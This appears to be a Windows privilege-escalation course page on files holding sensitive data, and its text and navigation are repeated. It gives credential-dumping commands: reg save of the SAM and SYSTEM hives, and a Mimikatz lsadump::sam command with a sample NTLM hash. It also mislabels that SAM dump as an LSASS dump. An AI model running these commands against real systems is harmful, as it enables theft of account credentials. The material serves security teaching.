11 - Files with Sensitive Data

Topics

Introduction to the Windows Shells
Windows Permissions
Reverse Shells in Windows
SeImpersonatePrivilege Exploitation
On Cross Compilation
Windows Services
Weak Service Permissions
Unquoted Service Path
DLL Hijacking
Always Install Elevated
Files with Sensitive Data
Windows Hashes
Stored Credentials and the Windows Vault
Scheduled Task
Critical Registry Paths
Useful Tools
AMSI Bypass

System Logs

PowerShell commands and system logs are valuable for tracking user activity and investigating security incidents. This guide details key concepts such as command history, transcript logs, and sensitive Windows files like the SAM and registry hives.

Command History

PowerShell maintains a history of executed commands, which can be retrieved in the following ways:

Retrieve Commands from Memory:
```
Get-History
```
Retrieve History File Location:
```
(Get-PSReadlineOption).HistorySavePath
```

Default History File Paths:

Windows:

%UserProfile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Linux:

$HOME/.local/share/powershell/PSReadLine/ConsoleHost_history.txt

PowerShell Transcript

A PowerShell transcript records all executed commands and their output to a file. While useful for audits, mishandling transcripts may expose sensitive data.

Start Transcript:

Start-Transcript -Path "C:\Users\Quickemu\Desktop\Log.txt"

Stop Transcript:
```
Stop-Transcript
```

Security Accounts Manager (SAM + SYSTEM)

The Security Accounts Manager (SAM) file stores local user credentials, including usernames, password hashes, and security identifiers (SIDs).

Location:

C:\Windows\System32\config\SAM

The SAM file is locked by the operating system, but backup copies may sometimes be accessible.

Dumping SAM with `SeBackupPrivilege`

The SeBackupPrivilege allows privileged users or processes to bypass file security restrictions and back up system files.

Grant Privilege to a User:

Add-LocalGroupMember -Group "Backup Operators" -Member "Leonardo"

Save SAM and SYSTEM Files:

reg save hklm\sam C:\Users\Leonardo\Desktop\SAM.hive
reg save hklm\system C:\Users\Leonardo\Desktop\SYSTEM.hive

Using Mimikatz to Dump LSASS

Mimikatz can extract hashes stored in the Local Security Authority Subsystem Service (LSASS).

Command:

mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

Sample Output:

RID  : 000003e8 (1000)
User : Quickemu
  Hash NTLM: 2b576acbe6bcfda7294d6bd18041b8fe

Registry Hives

The Windows registry stores system and application settings. It is divided into hierarchical registry hives, each with specific roles and locations.

Common Registry Hives:

HKEY_CLASSES_ROOT (HKCR):
```
C:\Windows\System32\Config\Software
```
HKEY_LOCAL_MACHINE (HKLM):
```
C:\Windows\System32\Config\SYSTEM
```
HKEY_USERS (HKU):
```
C:\Windows\System32\Config\DEFAULT
```
HKEY_CURRENT_USER (HKCU):
```
C:\Users\<UserName>\NTUSER.DAT
```

HKEY_CURRENT_CONFIG (HKCC):

C:\Windows\System32\Config\SystemProfile

Registry Analysis with `regipy`

Use the regipy Python package to analyze registry hives:

pip3 install regipy

Example Python script for listing registry keys:

from regipy.registry import RegistryHive

def list_registry_keys(hive_path):
    hive = RegistryHive(hive_path)
    for entry in hive.recurse_subkeys(as_json=True):
        print(entry)

if __name__ == "__main__":
    list_registry_keys("./SYSTEM")

Extra System Files

Configuration Files

Applications often store configuration data in the following locations:

%AppData%
%LocalAppData%

Paging File

The paging file (pagefile.sys) is used by Windows for virtual memory.

Location:
```
C:\pagefile.sys
```

Hibernation File

When hibernation is enabled, Windows saves the RAM contents to hiberfil.sys.

Location:
```
C:\hiberfil.sys
```

Other Resources

Disclaimer

❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!❗

Previous10 - Always Install Elevated Next12 - Windows Hashes

Last updated 5 months ago

11 - Files with Sensitive Data

Topics

Introduction to the Windows Shells
Windows Permissions
Reverse Shells in Windows
SeImpersonatePrivilege Exploitation
On Cross Compilation
Windows Services
Weak Service Permissions
Unquoted Service Path
DLL Hijacking
Always Install Elevated
Files with Sensitive Data
Windows Hashes
Stored Credentials and the Windows Vault
Scheduled Task
Critical Registry Paths
Useful Tools
AMSI Bypass

System Logs

Command History

PowerShell maintains a history of executed commands, which can be retrieved in the following ways:

Retrieve Commands from Memory:
```
Get-History
```
Retrieve History File Location:
```
(Get-PSReadlineOption).HistorySavePath
```

Default History File Paths:

Windows:

%UserProfile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Linux:

$HOME/.local/share/powershell/PSReadLine/ConsoleHost_history.txt

PowerShell Transcript

A PowerShell transcript records all executed commands and their output to a file. While useful for audits, mishandling transcripts may expose sensitive data.

Start Transcript:

Start-Transcript -Path "C:\Users\Quickemu\Desktop\Log.txt"

Stop Transcript:
```
Stop-Transcript
```

Security Accounts Manager (SAM + SYSTEM)

The Security Accounts Manager (SAM) file stores local user credentials, including usernames, password hashes, and security identifiers (SIDs).

Location:

C:\Windows\System32\config\SAM

The SAM file is locked by the operating system, but backup copies may sometimes be accessible.

Dumping SAM with `SeBackupPrivilege`

The SeBackupPrivilege allows privileged users or processes to bypass file security restrictions and back up system files.

Grant Privilege to a User:

Add-LocalGroupMember -Group "Backup Operators" -Member "Leonardo"

Save SAM and SYSTEM Files:

reg save hklm\sam C:\Users\Leonardo\Desktop\SAM.hive
reg save hklm\system C:\Users\Leonardo\Desktop\SYSTEM.hive

Using Mimikatz to Dump LSASS

Mimikatz can extract hashes stored in the Local Security Authority Subsystem Service (LSASS).

Command:

mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

Sample Output:

RID  : 000003e8 (1000)
User : Quickemu
  Hash NTLM: 2b576acbe6bcfda7294d6bd18041b8fe

Registry Hives

The Windows registry stores system and application settings. It is divided into hierarchical registry hives, each with specific roles and locations.

Common Registry Hives:

HKEY_CLASSES_ROOT (HKCR):
```
C:\Windows\System32\Config\Software
```
HKEY_LOCAL_MACHINE (HKLM):
```
C:\Windows\System32\Config\SYSTEM
```
HKEY_USERS (HKU):
```
C:\Windows\System32\Config\DEFAULT
```
HKEY_CURRENT_USER (HKCU):
```
C:\Users\<UserName>\NTUSER.DAT
```

HKEY_CURRENT_CONFIG (HKCC):

C:\Windows\System32\Config\SystemProfile

Registry Analysis with `regipy`

Use the regipy Python package to analyze registry hives:

pip3 install regipy

Example Python script for listing registry keys:

from regipy.registry import RegistryHive

def list_registry_keys(hive_path):
    hive = RegistryHive(hive_path)
    for entry in hive.recurse_subkeys(as_json=True):
        print(entry)

if __name__ == "__main__":
    list_registry_keys("./SYSTEM")

Extra System Files

Configuration Files

Applications often store configuration data in the following locations:

%AppData%
%LocalAppData%

Paging File

The paging file (pagefile.sys) is used by Windows for virtual memory.

Location:
```
C:\pagefile.sys
```

Hibernation File

When hibernation is enabled, Windows saves the RAM contents to hiberfil.sys.

Location:
```
C:\hiberfil.sys
```

Other Resources

Disclaimer

❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!❗

Previous10 - Always Install Elevated Next12 - Windows Hashes

Last updated 5 months ago

Topics

System Logs

Command History

PowerShell Transcript

Security Accounts Manager (SAM + SYSTEM)

Dumping SAM with SeBackupPrivilege

Using Mimikatz to Dump LSASS

Registry Hives

Common Registry Hives:

Registry Analysis with regipy

Extra System Files

Configuration Files

Paging File

Hibernation File

Other Resources

Topics

System Logs

Command History

PowerShell Transcript

Security Accounts Manager (SAM + SYSTEM)

Dumping SAM with SeBackupPrivilege

Using Mimikatz to Dump LSASS

Registry Hives

Common Registry Hives:

Registry Analysis with regipy

Extra System Files

Configuration Files

Paging File

Hibernation File

Other Resources

Dumping SAM with `SeBackupPrivilege`

Registry Analysis with `regipy`

Dumping SAM with `SeBackupPrivilege`

Registry Analysis with `regipy`